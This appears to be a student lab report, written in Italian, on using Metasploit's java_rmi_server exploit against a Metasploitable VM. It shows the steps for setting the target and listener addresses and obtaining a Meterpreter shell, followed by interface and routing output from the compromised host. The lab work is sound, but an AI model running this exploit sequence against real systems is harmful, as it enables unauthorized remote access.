

Report Attacco Meterpreter

Per effettuare questo attacco abbiamo sfruttato una vulnerabilità di Metasploitable, riuscendo a connetterci alla macchina da remoto usando meterpreter.

Apriamo metasploit e da lì utilizziamo l'exploit:

exploit(multi/misc/java_rmi_server)

Tramite il comando use lo utilizziamo e settiamo il target tramite il comando set **RHOSTS 192.168.11.112**, e settiamo il nostro IP di Kali tramite set **LHOST 192.168.11.111**.

Facciamo partire l'exploit tramite il comando exploit e siamo connessi da remoto a metasploitable.

Per la configurazione di rete utilizziamo il comando **ifconfig**:

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feca:2b54
IPv6 Netmask : ::
```

mentre per vedere le informazioni sulla tabella di routing utilizziamo il comando **route**:

IPv4 network routes

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
::1	::	::		
fe80::a00:27ff:feca:2b54	::	::		